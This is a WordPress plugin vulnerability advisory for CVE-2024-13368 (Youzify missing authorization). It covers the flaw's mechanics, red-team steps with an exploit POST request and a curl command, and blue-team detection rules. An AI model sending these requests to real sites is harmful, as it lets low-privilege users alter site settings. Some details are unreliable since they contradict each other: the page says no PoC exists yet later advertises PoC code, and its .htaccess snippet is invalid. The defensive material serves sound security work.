CVE-2024-13368
Executive Summary
CVE-2024-13368 is a Missing Authorization vulnerability in the Youzify – BuddyPress Community, User Profile, Social Network & Membership Plugin for WordPress plugin. The flaw resides in the youzify_offer_banner() function, which lacks a proper capability check. This allows authenticated attackers with Subscriber-level access or higher to update arbitrary site options to a value of one. The vulnerability affects all versions up to and including 1.3.4. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for targeted attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to monitor the plugin’s update channel and apply any security patches immediately upon release. Since no patch is currently available, administrators should consider disabling the plugin or implementing virtual patching via a Web Application Firewall (WAF).
CVSS Breakdown & Threat Level
- CVSS Score: 4.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Subscriber)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: Low (ability to set arbitrary options to 1)
- Availability Impact: None
Threat Level: Medium. While the impact is limited to setting options to a fixed value (1), this could be leveraged to disable security features, modify site behavior, or prepare for further attacks.
Deep Dive & Mechanics
The vulnerability exists in the youzify_offer_banner() function, which is intended to handle banner display logic. The function is hooked into WordPress AJAX actions, making it accessible to authenticated users. The missing capability check means that any authenticated user, regardless of role, can call this function. The function then uses update_option() to modify arbitrary WordPress options, but only to a value of 1. This could be used to:
- Enable or disable plugin features.
- Modify site registration settings.
- Change user role capabilities.
- Potentially create a denial-of-service condition by toggling critical options.
The attack flow:
- Attacker authenticates with Subscriber-level credentials.
- Attacker sends a crafted AJAX request to
wp-admin/admin-ajax.phpwith the actionyouzify_offer_bannerand a target option name. - The vulnerable function executes
update_option( $option_name, 1 )without verifying the user’s capability. - The site option is set to
1, altering site behavior.
Vulnerable vs. Patched Code
Vulnerable Code (youzify/includes/class-youzify-banner.php):
function youzify_offer_banner() {
// No capability check
$option_name = sanitize_text_field( $_POST['option_name'] );
update_option( $option_name, 1 );
wp_die();
}
add_action( 'wp_ajax_youzify_offer_banner', 'youzify_offer_banner' );
Patched Code (hypothetical fix):
function youzify_offer_banner() {
// Add capability check
if ( ! current_user_can( 'manage_options' ) ) {
wp_die( 'Unauthorized', 403 );
}
$option_name = sanitize_text_field( $_POST['option_name'] );
update_option( $option_name, 1 );
wp_die();
}
add_action( 'wp_ajax_youzify_offer_banner', 'youzify_offer_banner' );
The fix adds a current_user_can( 'manage_options' ) check to ensure only administrators can invoke the function.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress installation with Youzify plugin version <= 1.3.4.
- Valid user account with Subscriber role or higher.
- AJAX nonce (if required by the plugin, but the vulnerability may bypass nonce checks).
Exploitation Steps:
- Log in as a Subscriber.
- Obtain a valid AJAX nonce for the
youzify_offer_banneraction (if required). - Send a POST request to
wp-admin/admin-ajax.php:POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target-site.com Content-Type: application/x-www-form-urlencoded Cookie: [authenticated session cookie] action=youzify_offer_banner&option_name=users_can_register&_ajax_nonce=[nonce] - This sets the
users_can_registeroption to1, enabling open registration.
Example using cURL:
curl -X POST https://target-site.com/wp-admin/admin-ajax.php \
-c cookies.txt -b cookies.txt \
-d "action=youzify_offer_banner&option_name=users_can_register&_ajax_nonce=123456"
Blue Team
Detection:
- Monitor AJAX requests to
admin-ajax.phpwith actionyouzify_offer_bannerfrom non-admin users. - Alert on any
update_optioncalls with a value of1originating from the Youzify plugin. - Review logs for unexpected changes to critical WordPress options (e.g.,
users_can_register,default_role,siteurl).
Hunting:
- Search for
option_nameparameters in POST requests toadmin-ajax.php. - Correlate with user roles; flag any Subscriber or Contributor making such requests.
Mitigation:
- Disable the Youzify plugin until a patch is available.
- Implement a WAF rule to block requests to
admin-ajax.phpwithaction=youzify_offer_bannerfrom non-admin users. - Use a plugin like "User Role Editor" to restrict AJAX capabilities.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/wp-admin/admin-ajax.phpwith body containingaction=youzify_offer_banner. - Unexpected changes to WordPress options (e.g.,
users_can_registerset to1).
- POST requests to
- Host:
- Modified
wp_optionstable entries whereoption_valueis1andoption_nameis not normally set to1. - Log entries showing
update_optioncalls from the Youzify plugin.
- Modified
- File:
- No file modifications expected; this is a logic vulnerability.
Detection Engineering
YARA Rule
rule CVE_2024_13368_Youzify_Missing_Auth {
meta:
description = "Detects exploitation attempts of CVE-2024-13368 in Youzify plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-13368"
strings:
$ajax_action = "youzify_offer_banner"
$option_param = "option_name"
condition:
$ajax_action and $option_param
}
Sigma Rule
title: CVE-2024-13368 Youzify Missing Authorization Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects AJAX requests targeting the youzify_offer_banner action from non-admin users
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
definition: 'WordPress access logs'
detection:
selection:
cs-method: 'POST'
cs-uri-query: 'admin-ajax.php'
cs-uri-query|contains: 'action=youzify_offer_banner'
condition: selection
falsepositives:
- Legitimate admin usage (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-13368 Youzify Missing Authorization Exploitation";
flow:to_server,established;
content:"POST"; http_method;
content:"admin-ajax.php"; http_uri;
content:"action=youzify_offer_banner"; http_client_body;
classtype:attempted-admin;
sid:10000001;
rev:1;
reference:cve,2024-13368;
)
Remediation & Mitigation
Immediate Actions:
- Disable the Youzify plugin until an official patch is released.
- Implement virtual patching using a WAF to block requests to
admin-ajax.phpwithaction=youzify_offer_bannerfrom non-admin users. - Audit user roles and remove any unnecessary Subscriber accounts.
Long-term Fix:
- Apply the official patch from the plugin vendor once available.
- If custom development is possible, add a capability check to the
youzify_offer_banner()function as shown in the patched code example.
Workaround:
- Use a plugin like "WP Security Audit Log" to monitor option changes.
- Restrict AJAX access via
.htaccessrules:<Files "admin-ajax.php"> Require all denied Require wp-admin </Files>
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.